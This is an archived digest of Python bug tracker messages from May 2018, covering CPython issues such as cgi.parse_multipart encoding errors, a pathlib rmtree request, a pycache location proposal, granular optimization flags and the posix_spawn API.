comment: It seems pretty easy to use an extension module that's less likely to be built-in. What about binascii? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 10:29:54 2018 From: report at bugs.python.org (Barry A. Warsaw) Date: Mon, 14 May 2018 14:29:54 +0000 Subject: [issue33465] test_from_import_missing_attr_has_name_and_so_path fails when select is a builtin instead of an extension In-Reply-To: <1526054824.37.0.682650639539.issue33465@psf.upfronthosting.co.za> Message-ID: <1526308194.35.0.682650639539.issue33465@psf.upfronthosting.co.za> Change by Barry A. Warsaw : ---------- keywords: +patch pull_requests: +6482 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 10:30:10 2018 From: report at bugs.python.org (Amber Brown) Date: Mon, 14 May 2018 14:30:10 +0000 Subject: [issue33497] cgi.parse_multipart does not have an associated "errors" parameter with its "encoding" parameter Message-ID: <1526308210.26.0.682650639539.issue33497@psf.upfronthosting.co.za> New submission from Amber Brown : Lack of this parameter means that you may get an exception (if the incoming data is an invalid encoding) you can not get around. This causes Twisted to be unable to provide a compatible API on Python 3.7. ---------- messages: 316510 nosy: hawkowl priority: normal severity: normal status: open title: cgi.parse_multipart does not have an associated "errors" parameter with its "encoding" parameter type: behavior versions: Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 10:30:35 2018 From: report at bugs.python.org (Aaron Hall) Date: Mon, 14 May 2018 14:30:35 +0000 Subject: [issue33498] pathlib.Path wants an rmtree method Message-ID: <1526308235.34.0.682650639539.issue33498@psf.upfronthosting.co.za> New submission from Aaron Hall : pathlib.Path wants the rmtree method from shutil I think we need this method for a couple of reasons. 1. in shell, rm has the -r flag - In Python, we use shutil.rmtree as a best practice for this. 2. I prefer to teach my students about pathlib.Path as opposed to other ways of dealing with files. It's a great abstraction. But it's somewhat leaky, especially when it comes to recursively deleting a directory with its contents, as I now need to import rmtree from shutil. Perhaps we need this as a method in the abstract base class that recursively uses the methods provided by the concrete implementations. I can look at the rmtree method for a reference implementation. Perhaps we should just give Path.rmdir a default recursive argument? Default would be False, of course, to retain current behavior. ---------- components: Library (Lib) messages: 316511 nosy: Aaron Hall priority: normal severity: normal status: open title: pathlib.Path wants an rmtree method type: enhancement versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 10:33:20 2018 From: report at bugs.python.org (Thomas Wouters) Date: Mon, 14 May 2018 14:33:20 +0000 Subject: [issue33497] cgi.parse_multipart does not have an associated "errors" parameter with its "encoding" parameter In-Reply-To: <1526308210.26.0.682650639539.issue33497@psf.upfronthosting.co.za> Message-ID: <1526308400.99.0.682650639539.issue33497@psf.upfronthosting.co.za> Change by Thomas Wouters : ---------- nosy: +ned.deily priority: normal -> release blocker _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 10:33:49 2018 From: report at bugs.python.org (Eric V. Smith) Date: Mon, 14 May 2018 14:33:49 +0000 Subject: [issue33494] random.choices ought to check that cumulative weights are in ascending order In-Reply-To: <1526297798.91.0.682650639539.issue33494@psf.upfronthosting.co.za> Message-ID: <1526308429.05.0.682650639539.issue33494@psf.upfronthosting.co.za> Change by Eric V. Smith : ---------- keywords: +patch pull_requests: +6483 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 10:35:13 2018 From: report at bugs.python.org (Roundup Robot) Date: Mon, 14 May 2018 14:35:13 +0000 Subject: [issue31849] Python/pyhash.c warning: comparison of integers of different signs In-Reply-To: <1508774476.87.0.213398074469.issue31849@psf.upfronthosting.co.za> Message-ID: <1526308513.72.0.682650639539.issue31849@psf.upfronthosting.co.za> Change by Roundup Robot : ---------- keywords: +patch pull_requests: +6484 stage: needs patch -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 10:45:37 2018 From: report at bugs.python.org (miss-islington) Date: Mon, 14 May 2018 14:45:37 +0000 Subject: [issue32601] PosixPathTest.test_expanduser fails in NixOS build sandbox In-Reply-To: <1516390296.8.0.467229070634.issue32601@psf.upfronthosting.co.za> Message-ID: <1526309137.54.0.682650639539.issue32601@psf.upfronthosting.co.za> miss-islington added the comment: New changeset 48fdbbf6bb0cd0ea9d284ba650a80bffa6310c6b by Miss Islington (bot) in branch '3.6': bpo-32601: Let test_expanduser use the same user if no others found. (GH-5246) https://github.com/python/cpython/commit/48fdbbf6bb0cd0ea9d284ba650a80bffa6310c6b ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 10:48:03 2018 From: report at bugs.python.org (Mariatta Wijaya) Date: Mon, 14 May 2018 14:48:03 +0000 Subject: [issue22069] TextIOWrapper(newline="\n", line_buffering=True) mistakenly treat \r as a newline In-Reply-To: <1406306623.81.0.633771356606.issue22069@psf.upfronthosting.co.za> Message-ID: <1526309283.86.0.682650639539.issue22069@psf.upfronthosting.co.za> Mariatta Wijaya added the comment: New changeset 7ffd4c58fae08b29259eebd6cbcd2287820b14e8 by Mariatta (Elena Oat) in branch 'master': bpo-22069: Update TextIO documentation (GH-6609) https://github.com/python/cpython/commit/7ffd4c58fae08b29259eebd6cbcd2287820b14e8 ---------- nosy: +Mariatta _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 10:48:18 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 14 May 2018 14:48:18 +0000 Subject: [issue32601] PosixPathTest.test_expanduser fails in NixOS build sandbox In-Reply-To: <1516390296.8.0.467229070634.issue32601@psf.upfronthosting.co.za> Message-ID: <1526309298.49.0.682650639539.issue32601@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed versions: +Python 3.6, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 10:49:14 2018 From: report at bugs.python.org (miss-islington) Date: Mon, 14 May 2018 14:49:14 +0000 Subject: [issue22069] TextIOWrapper(newline="\n", line_buffering=True) mistakenly treat \r as a newline In-Reply-To: <1406306623.81.0.633771356606.issue22069@psf.upfronthosting.co.za> Message-ID: <1526309354.14.0.682650639539.issue22069@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6485 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 10:50:16 2018 From: report at bugs.python.org (miss-islington) Date: Mon, 14 May 2018 14:50:16 +0000 Subject: [issue22069] TextIOWrapper(newline="\n", line_buffering=True) mistakenly treat \r as a newline In-Reply-To: <1406306623.81.0.633771356606.issue22069@psf.upfronthosting.co.za> Message-ID: <1526309416.39.0.682650639539.issue22069@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6486 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 10:51:13 2018 From: report at bugs.python.org (miss-islington) Date: Mon, 14 May 2018 14:51:13 +0000 Subject: [issue22069] TextIOWrapper(newline="\n", line_buffering=True) mistakenly treat \r as a newline In-Reply-To: <1406306623.81.0.633771356606.issue22069@psf.upfronthosting.co.za> Message-ID: <1526309473.88.0.682650639539.issue22069@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6487 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 10:57:27 2018 From: report at bugs.python.org (Barry A. Warsaw) Date: Mon, 14 May 2018 14:57:27 +0000 Subject: [issue33465] test_from_import_missing_attr_has_name_and_so_path fails when select is a builtin instead of an extension In-Reply-To: <1526054824.37.0.682650639539.issue33465@psf.upfronthosting.co.za> Message-ID: <1526309847.84.0.682650639539.issue33465@psf.upfronthosting.co.za> Barry A. Warsaw added the comment: binascii gets built-in too, so it seems like _hashlib is a good choice. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 10:58:26 2018 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Mon, 14 May 2018 14:58:26 +0000 Subject: [issue31607] Add listsize in pdb.py In-Reply-To: <1506507728.83.0.154975027568.issue31607@psf.upfronthosting.co.za> Message-ID: <1526309906.96.0.682650639539.issue31607@psf.upfronthosting.co.za> St?phane Wirtel added the comment: I close this issue because I think we need to use a pair of set/get and not a new command like 'listsize'. ---------- stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 11:01:40 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 14 May 2018 15:01:40 +0000 Subject: [issue33494] random.choices ought to check that cumulative weights are in ascending order In-Reply-To: <1526297798.91.0.682650639539.issue33494@psf.upfronthosting.co.za> Message-ID: <1526310100.39.0.682650639539.issue33494@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: This will just add an overhead for all correct use of bisect. We are adult here. If the user want to break bisect or random.choices, let him to do this. ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 11:10:11 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 14 May 2018 15:10:11 +0000 Subject: [issue33498] pathlib.Path wants an rmtree method In-Reply-To: <1526308235.34.0.682650639539.issue33498@psf.upfronthosting.co.za> Message-ID: <1526310611.31.0.682650639539.issue33498@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: What is wrong with just using shutil.rmtree()? You can't deal with files with only using pathlib. You can't read ZIP archives, open temporary files, import modules, download files from Internet and open them in the webbrowser, run subprocesses, send files by e-mail, determine the MIME type of files, read WAV files with only using pathlib. ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 11:12:49 2018 From: report at bugs.python.org (Carl Meyer) Date: Mon, 14 May 2018 15:12:49 +0000 Subject: [issue33499] Environment variable to set alternate location for pycache tree Message-ID: <1526310769.71.0.682650639539.issue33499@psf.upfronthosting.co.za> New submission from Carl Meyer : We would like to set an environment variable that would cause Python to read and write `__pycache__` directories from a separate location on the filesystem (outside the source code tree). We have two reasons for this: 1. In our development setup (with a webserver running in a container on the dev-tree code), the `__pycache__` directories end up root-owned, and managing permissions on them so that they don't disrupt VCS operations on the code repo is untenable. (Currently we use PYTHONDONTWRITEBYTECODE as a workaround, but we have enough code that this costs us multiple seconds of developer time on every restart; we'd like to take advantage of cached bytecode without requiring that it pollute the code tree.) 2. In addition to just _having_ cached bytecode, we'd like to keep it on a ramdisk to minimize filesystem overhead. Proposal: a `PYTHON_BYTECODE_PATH` environment variable. If set, `source_from_cache` and `cache_from_source` in `importlib._bootstrap_external` will respect it, creating a directory tree under that prefix that mirrors the source tree. ---------- messages: 316518 nosy: brett.cannon, carljm, eric.snow, lukasz.langa, ncoghlan priority: normal severity: normal status: open title: Environment variable to set alternate location for pycache tree type: enhancement _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 11:18:59 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 14 May 2018 15:18:59 +0000 Subject: [issue5755] "-Wstrict-prototypes" is valid for Ada/C/ObjC but not for C++" In-Reply-To: <1239729771.84.0.97828652099.issue5755@psf.upfronthosting.co.za> Message-ID: <1526311139.56.0.682650639539.issue5755@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Maybe include it in PY_CFLAGS_NODIST instead of PY_CFLAGS? Or just remove it, since in any case we now use -Wall and -Wextra with GCC. ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 11:19:09 2018 From: report at bugs.python.org (Amber Brown) Date: Mon, 14 May 2018 15:19:09 +0000 Subject: [issue33497] cgi.parse_multipart does not have an associated "errors" parameter with its "encoding" parameter In-Reply-To: <1526308210.26.0.682650639539.issue33497@psf.upfronthosting.co.za> Message-ID: <1526311149.6.0.682650639539.issue33497@psf.upfronthosting.co.za> Change by Amber Brown : ---------- keywords: +patch pull_requests: +6489 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 11:21:03 2018 From: report at bugs.python.org (Ned Deily) Date: Mon, 14 May 2018 15:21:03 +0000 Subject: [issue33497] cgi.parse_multipart does not have an associated "errors" parameter with its "encoding" parameter In-Reply-To: <1526308210.26.0.682650639539.issue33497@psf.upfronthosting.co.za> Message-ID: <1526311263.89.0.682650639539.issue33497@psf.upfronthosting.co.za> Change by Ned Deily : ---------- versions: +Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 11:37:44 2018 From: report at bugs.python.org (miss-islington) Date: Mon, 14 May 2018 15:37:44 +0000 Subject: [issue33494] random.choices ought to check that cumulative weights are in ascending order In-Reply-To: <1526297798.91.0.682650639539.issue33494@psf.upfronthosting.co.za> Message-ID: <1526312264.64.0.682650639539.issue33494@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6490 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 11:38:44 2018 From: report at bugs.python.org (Michael Romero) Date: Mon, 14 May 2018 15:38:44 +0000 Subject: [issue33500] Python TKinter for Mac on latest 2.7.15 still extremely slow vs Windows Message-ID: <1526312324.63.0.682650639539.issue33500@psf.upfronthosting.co.za> New submission from Michael Romero : Hello, I have recently been working with a PAC-MAN project developed by Berkeley for their A.I. course. My primary workstation is a Touchbar MBP (3.1ghz core i7 w/16gb RAM and an SSD). I had noticed how PAC-MAN's performance would sort of... stutter, when running on my Mac, while performing incredibly quick on a nearby gaming computer. I had previously believed it to be due to the differences in specs between systems. This is not the case, however, as the performance of PAC-MAN is extremely quick even within a VM ran via Parallels on the same Macbook whose native python performance was extremely sluggish. I have seen recent issues submitted here and supposedly resolved that are intended to address a performance issue with Tkinter and Mac OS/X. While the underlying issue mentioned in those particular tickets may have been addressed, the overall performance difference between Mac and Windows (and perhaps others) with Tkinter on Mac has not been. The following URL includes the PAC-MAN implementation I'm referring to: http://ai.berkeley.edu/project_log.html The link above contains another link to download the "multiagent.zip". https://s3-us-west-2.amazonaws.com/cs188websitecontent/projects/release/multiagent/v1/002/multiagent.zip After extraction, running "python pacman.py" with a system running the most recent 2.7.15 64bit release (on a fully patched OS/X) will allow you to see the sluggish performance of PAC-MAN I'm describing when compared to the same exact codebase running on a Windows system (and perhaps linux, though I have not yet tried to run it there), on a Windows VM living on the same system. ---------- components: Tkinter messages: 316520 nosy: Michael Romero priority: normal severity: normal status: open title: Python TKinter for Mac on latest 2.7.15 still extremely slow vs Windows versions: Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 11:39:46 2018 From: report at bugs.python.org (Eric V. Smith) Date: Mon, 14 May 2018 15:39:46 +0000 Subject: [issue33494] random.choices ought to check that cumulative weights are in ascending order In-Reply-To: <1526297798.91.0.682650639539.issue33494@psf.upfronthosting.co.za> Message-ID: <1526312386.15.0.682650639539.issue33494@psf.upfronthosting.co.za> Change by Eric V. Smith : ---------- pull_requests: -6483 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 11:40:04 2018 From: report at bugs.python.org (Eric V. Smith) Date: Mon, 14 May 2018 15:40:04 +0000 Subject: [issue33494] random.choices ought to check that cumulative weights are in ascending order In-Reply-To: <1526297798.91.0.682650639539.issue33494@psf.upfronthosting.co.za> Message-ID: <1526312404.09.0.682650639539.issue33494@psf.upfronthosting.co.za> Change by Eric V. Smith : ---------- pull_requests: -6490 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 11:40:36 2018 From: report at bugs.python.org (Michael Romero) Date: Mon, 14 May 2018 15:40:36 +0000 Subject: [issue33500] Python TKinter for Mac on latest 2.7.15 still extremely slow vs Windows In-Reply-To: <1526312324.63.0.682650639539.issue33500@psf.upfronthosting.co.za> Message-ID: <1526312436.4.0.682650639539.issue33500@psf.upfronthosting.co.za> Michael Romero added the comment: "search.zip" on http://ai.berkeley.edu/project_log.html will also display the same performance issue. ---------- Added file: https://bugs.python.org/file47587/search.zip _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 11:40:57 2018 From: report at bugs.python.org (Eric V. Smith) Date: Mon, 14 May 2018 15:40:57 +0000 Subject: [issue33495] dataclasses: repr of Field objects should use repr of each member In-Reply-To: <1526301376.3.0.682650639539.issue33495@psf.upfronthosting.co.za> Message-ID: <1526312457.93.0.682650639539.issue33495@psf.upfronthosting.co.za> Change by Eric V. Smith : ---------- keywords: +patch pull_requests: +6491 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 11:40:58 2018 From: report at bugs.python.org (Eric V. Smith) Date: Mon, 14 May 2018 15:40:58 +0000 Subject: [issue33494] random.choices ought to check that cumulative weights are in ascending order In-Reply-To: <1526297798.91.0.682650639539.issue33494@psf.upfronthosting.co.za> Message-ID: <1526312458.01.0.0935424498089.issue33494@psf.upfronthosting.co.za> Change by Eric V. Smith : ---------- pull_requests: +6492 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 11:41:01 2018 From: report at bugs.python.org (Barry A. Warsaw) Date: Mon, 14 May 2018 15:41:01 +0000 Subject: [issue33499] Environment variable to set alternate location for pycache tree In-Reply-To: <1526310769.71.0.682650639539.issue33499@psf.upfronthosting.co.za> Message-ID: <1526312461.57.0.682650639539.issue33499@psf.upfronthosting.co.za> Change by Barry A. Warsaw : ---------- nosy: +barry _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 11:41:52 2018 From: report at bugs.python.org (miss-islington) Date: Mon, 14 May 2018 15:41:52 +0000 Subject: [issue33495] dataclasses: repr of Field objects should use repr of each member In-Reply-To: <1526301376.3.0.682650639539.issue33495@psf.upfronthosting.co.za> Message-ID: <1526312512.94.0.682650639539.issue33495@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6493 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 11:41:53 2018 From: report at bugs.python.org (miss-islington) Date: Mon, 14 May 2018 15:41:53 +0000 Subject: [issue33494] random.choices ought to check that cumulative weights are in ascending order In-Reply-To: <1526297798.91.0.682650639539.issue33494@psf.upfronthosting.co.za> Message-ID: <1526312513.12.0.0935424498089.issue33494@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6494 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 11:44:58 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 14 May 2018 15:44:58 +0000 Subject: [issue20104] expose posix_spawn(p) In-Reply-To: <1388600000.81.0.911230526926.issue20104@psf.upfronthosting.co.za> Message-ID: <1526312698.07.0.682650639539.issue20104@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: As for the scheduler interface, yet one option is using two mutually exclusive parameters setschedparam and setscheduler. The first take a sched_param, the second takes a pair: int and sched_param. This will not simplify the implementation, but they directly correspond to functions os.sched_setparam() and os.sched_setscheduler(). I don't say that this interface is better than alternatives, I just mention yet one option. posix_spawn() can be easily implemented via fork()/exec(). See the reference implementation: http://pubs.opengroup.org/onlinepubs/009695399/xrat/xsh_chap03.html . It can be directly translated to Python. Seems the only value of posix_spawn() is on systems that don't provide fork()/exec(), but provide posix_spawn(). Is posix_spawn() supported on Windows? What are other systems supported by Python that don't provide fork()/exec()? I'm for removing os.posix_spawn() in 3.7. Even if we will accept the current interface and merge PR 6693 we can find other problems with the interface or the implementation. And os.posix_spawnp() still is not implemented. It is just too dangerous to add such complex feature between the last beta and RC. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 11:45:51 2018 From: report at bugs.python.org (Michael Romero) Date: Mon, 14 May 2018 15:45:51 +0000 Subject: [issue33500] Python TKinter for Mac on latest 2.7.15 still extremely slow vs Windows In-Reply-To: <1526312324.63.0.682650639539.issue33500@psf.upfronthosting.co.za> Message-ID: <1526312751.37.0.682650639539.issue33500@psf.upfronthosting.co.za> Change by Michael Romero : ---------- type: -> performance _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 11:46:35 2018 From: report at bugs.python.org (Eric V. Smith) Date: Mon, 14 May 2018 15:46:35 +0000 Subject: [issue33453] from __future__ import annotations breaks dataclasses ClassVar and InitVar handling In-Reply-To: <1525901922.71.0.682650639539.issue33453@psf.upfronthosting.co.za> Message-ID: <1526312795.43.0.682650639539.issue33453@psf.upfronthosting.co.za> Eric V. Smith added the comment: Followup from our meeting at the sprints: we're going to go with inspecting the type annotation string and use heuristics to determine if the type is a ClassVar or InitVar. I'll follow up with more specifics on the approach. This will obviously need to make it in to the documentation. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 11:49:02 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 14 May 2018 15:49:02 +0000 Subject: [issue33494] random.choices ought to check that cumulative weights are in ascending order In-Reply-To: <1526297798.91.0.682650639539.issue33494@psf.upfronthosting.co.za> Message-ID: <1526312942.87.0.682650639539.issue33494@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: PR 6798 and PR 6806 are related to issue33495. Fixed links on GitHub, but commit messages and NEWS entries can contain wrong references. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 11:49:48 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 14 May 2018 15:49:48 +0000 Subject: [issue33494] random.choices ought to check that cumulative weights are in ascending order In-Reply-To: <1526297798.91.0.682650639539.issue33494@psf.upfronthosting.co.za> Message-ID: <1526312988.16.0.682650639539.issue33494@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- pull_requests: -6492 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 11:49:54 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 14 May 2018 15:49:54 +0000 Subject: [issue33494] random.choices ought to check that cumulative weights are in ascending order In-Reply-To: <1526297798.91.0.682650639539.issue33494@psf.upfronthosting.co.za> Message-ID: <1526312994.18.0.682650639539.issue33494@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- pull_requests: -6494 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 11:54:29 2018 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Mon, 14 May 2018 15:54:29 +0000 Subject: [issue20104] expose posix_spawn(p) In-Reply-To: <1388600000.81.0.911230526926.issue20104@psf.upfronthosting.co.za> Message-ID: <1526313269.61.0.682650639539.issue20104@psf.upfronthosting.co.za> Pablo Galindo Salgado added the comment: Notice that https://github.com/python/cpython/pull/6794 is already open to remove posix_spawn from 3.7. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 11:58:41 2018 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Mon, 14 May 2018 15:58:41 +0000 Subject: [issue20104] expose posix_spawn(p) In-Reply-To: <1388600000.81.0.911230526926.issue20104@psf.upfronthosting.co.za> Message-ID: <1526313520.99.0.682650639539.issue20104@psf.upfronthosting.co.za> Pablo Galindo Salgado added the comment: Regarding the rationale for when posix_spawn can be useful (from the RATIONALE section of the man page): The posix_spawn() function and its close relation posix_spawnp() have been introduced to overcome the following perceived difficulties with fork(): the fork() function is difficult or impossible to implement without swapping or dynamic address translation. Swapping is generally too slow for a realtime environment. Dynamic address translation is not available everywhere that POSIX might be useful. Processes are too useful to simply option out of POSIX whenever it must run without address translation or other MMU services. Thus, POSIX needs process creation and file execution primitives that can be efficiently implemented without address translation or other MMU services. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 12:02:02 2018 From: report at bugs.python.org (Denis Ryzhkov) Date: Mon, 14 May 2018 16:02:02 +0000 Subject: [issue31118] Make super() work with staticmethod by using __class__ for both arguments to super() In-Reply-To: <1501828975.1.0.737825658034.issue31118@psf.upfronthosting.co.za> Message-ID: <1526313722.43.0.682650639539.issue31118@psf.upfronthosting.co.za> Denis Ryzhkov added the comment: Simple explanation: if you call a method of a parent, then you are using class information now, so your child method is not static any more. Please use classmethod decorator and super() with no arguments - it will use cls argument implicitly ---------- nosy: +denisr _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 12:08:59 2018 From: report at bugs.python.org (miss-islington) Date: Mon, 14 May 2018 16:08:59 +0000 Subject: [issue22069] TextIOWrapper(newline="\n", line_buffering=True) mistakenly treat \r as a newline In-Reply-To: <1406306623.81.0.633771356606.issue22069@psf.upfronthosting.co.za> Message-ID: <1526314139.19.0.682650639539.issue22069@psf.upfronthosting.co.za> miss-islington added the comment: New changeset 050e041bf7e5260013a74c75a05a3f0fb16447ec by Miss Islington (bot) in branch '3.7': bpo-22069: Update TextIO documentation (GH-6609) https://github.com/python/cpython/commit/050e041bf7e5260013a74c75a05a3f0fb16447ec ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 12:10:15 2018 From: report at bugs.python.org (Roundup Robot) Date: Mon, 14 May 2018 16:10:15 +0000 Subject: [issue29235] Allow profile/cProfile to be used as context managers In-Reply-To: <1484097220.43.0.363931456874.issue29235@psf.upfronthosting.co.za> Message-ID: <1526314215.03.0.682650639539.issue29235@psf.upfronthosting.co.za> Change by Roundup Robot : ---------- pull_requests: +6495 stage: test needed -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 12:11:44 2018 From: report at bugs.python.org (miss-islington) Date: Mon, 14 May 2018 16:11:44 +0000 Subject: [issue22069] TextIOWrapper(newline="\n", line_buffering=True) mistakenly treat \r as a newline In-Reply-To: <1406306623.81.0.633771356606.issue22069@psf.upfronthosting.co.za> Message-ID: <1526314304.91.0.682650639539.issue22069@psf.upfronthosting.co.za> miss-islington added the comment: New changeset 84fc6c59cf286fc4e6b3a700c6db36ecc2bff92b by Miss Islington (bot) in branch '2.7': bpo-22069: Update TextIO documentation (GH-6609) https://github.com/python/cpython/commit/84fc6c59cf286fc4e6b3a700c6db36ecc2bff92b ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 12:17:16 2018 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Mon, 14 May 2018 16:17:16 +0000 Subject: [issue20104] expose posix_spawn(p) In-Reply-To: <1388600000.81.0.911230526926.issue20104@psf.upfronthosting.co.za> Message-ID: <1526314636.2.0.682650639539.issue20104@psf.upfronthosting.co.za> Change by Pablo Galindo Salgado : ---------- Removed message: https://bugs.python.org/msg316526 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 12:18:09 2018 From: report at bugs.python.org (miss-islington) Date: Mon, 14 May 2018 16:18:09 +0000 Subject: [issue22069] TextIOWrapper(newline="\n", line_buffering=True) mistakenly treat \r as a newline In-Reply-To: <1406306623.81.0.633771356606.issue22069@psf.upfronthosting.co.za> Message-ID: <1526314689.81.0.682650639539.issue22069@psf.upfronthosting.co.za> miss-islington added the comment: New changeset 9fd5b5fdf851d35a5c1314360119850e86a1fd0d by Miss Islington (bot) in branch '3.6': bpo-22069: Update TextIO documentation (GH-6609) https://github.com/python/cpython/commit/9fd5b5fdf851d35a5c1314360119850e86a1fd0d ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 12:18:27 2018 From: report at bugs.python.org (Antoine Pitrou) Date: Mon, 14 May 2018 16:18:27 +0000 Subject: [issue22069] TextIOWrapper(newline="\n", line_buffering=True) mistakenly treat \r as a newline In-Reply-To: <1406306623.81.0.633771356606.issue22069@psf.upfronthosting.co.za> Message-ID: <1526314707.28.0.682650639539.issue22069@psf.upfronthosting.co.za> Change by Antoine Pitrou : ---------- nosy: -pitrou _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 12:18:37 2018 From: report at bugs.python.org (Carl Meyer) Date: Mon, 14 May 2018 16:18:37 +0000 Subject: [issue33501] split existing optimization levels into granular options Message-ID: <1526314717.24.0.682650639539.issue33501@psf.upfronthosting.co.za> New submission from Carl Meyer : It doesn't make sense for e.g. docstring-stripping to necessarily imply assert-stripping. These are totally separate options, useful for separate reasons, but currently tied together in the `-O` option. This is not just a theoretical problem; at work we must strip docstrings in production for memory reasons, but we would prefer not to strip asserts. In fact we currently lint against use of `assert` because it is stripped in production, and we replace it with our own assertion function, which is less efficient and also integrates poorly with mypy's type binder. A better option would be to enable each of these separate optimizations with a separate command-line flag (probably a string tag passed to a single flag, e.g. `-o strip_docstrings`). PYC filename generation will also need to include all individually-enabled optimization string tags as part of the filename. For backwards-compatibility, the existing `-O` flags should still be supported with the same meaning they currently have; `-O` and the new granular `-o` should be additive. (A version of this was previously proposed as a minor part of PEP 511.) Please let me know if this proposal is of sufficient complexity that a PEP is needed instead of just an issue. ---------- messages: 316531 nosy: brett.cannon, carljm, eric.snow, lukasz.langa, ncoghlan, vstinner priority: normal severity: normal status: open title: split existing optimization levels into granular options type: enhancement _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 12:19:48 2018 From: report at bugs.python.org (Scott Sanderson) Date: Mon, 14 May 2018 16:19:48 +0000 Subject: [issue29235] Allow profile/cProfile to be used as context managers In-Reply-To: <1484097220.43.0.363931456874.issue29235@psf.upfronthosting.co.za> Message-ID: <1526314788.1.0.682650639539.issue29235@psf.upfronthosting.co.za> Scott Sanderson added the comment: This looks like it's been dormant for a bit. I've posted a patch (with tests and docs) to https://github.com/python/cpython/pull/6808. ---------- nosy: +Scott Sanderson _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 12:20:09 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 14 May 2018 16:20:09 +0000 Subject: [issue25711] Rewrite zipimport from scratch In-Reply-To: <1448296120.48.0.872112518039.issue25711@psf.upfronthosting.co.za> Message-ID: <1526314809.29.0.682650639539.issue25711@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- pull_requests: +6497 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 12:20:24 2018 From: report at bugs.python.org (Steven D'Aprano) Date: 